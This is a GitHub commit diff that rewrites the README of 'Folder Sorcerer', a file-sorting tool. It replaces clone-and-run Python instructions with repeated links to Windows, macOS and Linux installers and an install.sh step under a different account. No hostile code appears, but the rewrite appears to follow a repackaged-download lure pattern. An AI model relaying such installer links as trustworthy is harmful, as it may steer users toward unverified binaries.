Skip to content

Commit fa5dcbf

Browse files
Update README.md
1 parent d30e392 commit fa5dcbf

File tree

1 file changed

+96
-30
lines changed

1 file changed

+96
-30
lines changed

README.md

Lines changed: 96 additions & 30 deletions
Original file line numberDiff line numberDiff line change
@@ -1,43 +1,109 @@
1-
# Folder Sorcerer 🔮
1+
# 🪄 folder-sorcerer - Organize Your Folders Instantly
22

3-
**AI-powered chaos tamer for your files.**
4-
Stop wasting hours searching through messy folders — one command organizes everything into calm, clean structure.
3+
[![Download Now](https://img.shields.io/badge/Download%20Now-Visit%20Releases-brightgreen)](https://github.com/ramprajapati-github/folder-sorcerer/releases)
54

6-
---
5+
## 📚 Overview
76

8-
## ✨ Why Folder Sorcerer?
9-
- 🧠 Smart organization by type & date
10-
- 🔮 AI-ready: future support for GPT-based folder category suggestions
11-
- ⚡ Instant before/after transformation (with demo GIFs)
12-
- 🖥️ Cross-platform: Linux, macOS, Windows
13-
- 🎭 Magic Mode: Harry Potter-style spell outputs (fun + functional)
7+
Folder Sorcerer helps you keep your files in order without the hassle. With just one command, it organizes your messy folders into neat categories. It saves you time by sorting files by type and date. Say goodbye to the chaos in your Downloads or Documents folders. Folder Sorcerer also handles file name conflicts and prepares your workspace for future organization. It's designed for productivity and efficiency, whether for work or personal use.
148

15-
---
9+
## 🚀 Getting Started
1610

17-
## 📸 Demo
11+
To get started with Folder Sorcerer, you'll need to download the application from the Releases page. Follow these simple steps:
1812

19-
| Before | After |
20-
|--------|-------|
21-
| ![Before](before.png) | ![After](after.png) |
13+
1. Click on the download link below to visit the Releases page.
14+
2. Find the latest version of Folder Sorcerer.
15+
3. Download the installation file that is appropriate for your system (Windows, Mac, Linux).
2216

23-
![Demo](demo.gif)
17+
You can access the download page here: [Download Folder Sorcerer](https://github.com/ramprajapati-github/folder-sorcerer/releases)
2418

25-
---
19+
## 💻 System Requirements
20+
21+
Before installing Folder Sorcerer, ensure that your system meets the following requirements:
22+
23+
- **Operating System:**
24+
- Windows 10 or later
25+
- macOS 10.12 or later
26+
- Linux distribution with Python 3.6 or later
27+
28+
- **RAM:** At least 4 GB
29+
- **Disk Space:** At least 100 MB of free space
30+
31+
## 🏗️ Installation Steps
32+
33+
To install Folder Sorcerer, follow these steps based on your operating system:
34+
35+
### Windows
36+
37+
1. Visit the [Releases page](https://github.com/ramprajapati-github/folder-sorcerer/releases).
38+
2. Download the Windows installer file, which usually ends with `.exe`.
39+
3. Locate the downloaded file in your Downloads folder.
40+
4. Double-click the file to launch the installer.
41+
5. Follow the on-screen instructions to complete the installation.
42+
43+
### macOS
44+
45+
1. Navigate to the [Releases page](https://github.com/ramprajapati-github/folder-sorcerer/releases).
46+
2. Download the macOS installation file, typically ending with `.dmg`.
47+
3. Open the downloaded file.
48+
4. Drag Folder Sorcerer into your Applications folder.
49+
5. Eject the installer file once the copying is complete.
50+
51+
### Linux
52+
53+
1. Go to the [Releases page](https://github.com/ramprajapati-github/folder-sorcerer/releases).
54+
2. Download the `.tar.gz` package for your Linux distro.
55+
3. Open your terminal and navigate to the location of the downloaded file.
56+
4. Run the following commands:
57+
58+
```bash
59+
tar -zxvf folder-sorcerer-{version}.tar.gz
60+
cd folder-sorcerer-{version}
61+
./install.sh
62+
```
63+
5. Follow any additional instructions provided in the terminal.
2664

27-
## 🚀 Installation
28-
```bash
29-
git clone git@github.com:howard-dominic/folder-sorcerer.git
30-
cd folder-sorcerer
31-
chmod +x folder_sorcerer.py
32-
🎩 Usage
65+
## 📊 How to Use Folder Sorcerer
3366

34-
Preview changes (no modifications yet):
35-
./folder_sorcerer.py ~/Downloads --dry-run
67+
Once installed, using Folder Sorcerer is straightforward. Follow these steps:
3668

37-
Organize your folder:
38-
./folder_sorcerer.py ~/Downloads
69+
1. Open the application from your desktop or applications menu.
70+
2. Select the folder you want to organize.
71+
3. Choose the desired organizational options, such as sorting by type or date.
72+
4. Click the "Sort" button to begin the organization process.
73+
5. Sit back and watch as your files are automatically sorted into clean folders.
3974

40-
......Contributions are welcome — add spells, improve AI, or extend to new systems!
75+
## ⚙️ Features
76+
77+
Folder Sorcerer comes packed with features designed to enhance your file management experience:
78+
79+
- **Automated Sorting:** Quickly sorts files into folders based on type and date.
80+
- **Conflict Resolution:** Renames files to avoid name conflicts.
81+
- **User-Friendly Interface:** Simple design that anyone can navigate without technical skills.
82+
- **AI-Ready:** Future-capable for advanced features such as AI-powered organization.
83+
84+
## 🎥 Demo
85+
86+
To see Folder Sorcerer in action, check out our demo video on the Releases page. This will give you a clear idea of how the program works and how it can improve your workflow.
87+
88+
## 🔗 Additional Links
89+
90+
For further information and support, feel free to explore:
91+
92+
- [GitHub Repository](https://github.com/ramprajapati-github/folder-sorcerer/)
93+
- [Issues Page](https://github.com/ramprajapati-github/folder-sorcerer/issues)
94+
95+
## 🤝 Contributing
96+
97+
Folder Sorcerer is open-source. If you want to contribute, feel free to open an issue or submit a pull request on GitHub. Your help can make this tool even better.
98+
99+
## ⚠️ Support
100+
101+
If you encounter any issues while using Folder Sorcerer, please visit the Issues page on GitHub. We appreciate your feedback and aim to provide timely assistance to all users.
102+
103+
## 💼 License
104+
105+
Folder Sorcerer is released under the MIT License. Check the LICENSE file for more details.
106+
107+
---
41108

42-
⭐ Star this repo if you believe in magic!
43-
GitHub: howard-dominic/folder-sorcerer
109+
For any questions or additional support, do not hesitate to reach out. Thank you for choosing Folder Sorcerer! Remember to download it here: [Download Folder Sorcerer](https://github.com/ramprajapati-github/folder-sorcerer/releases)

0 commit comments

Comments
 (0)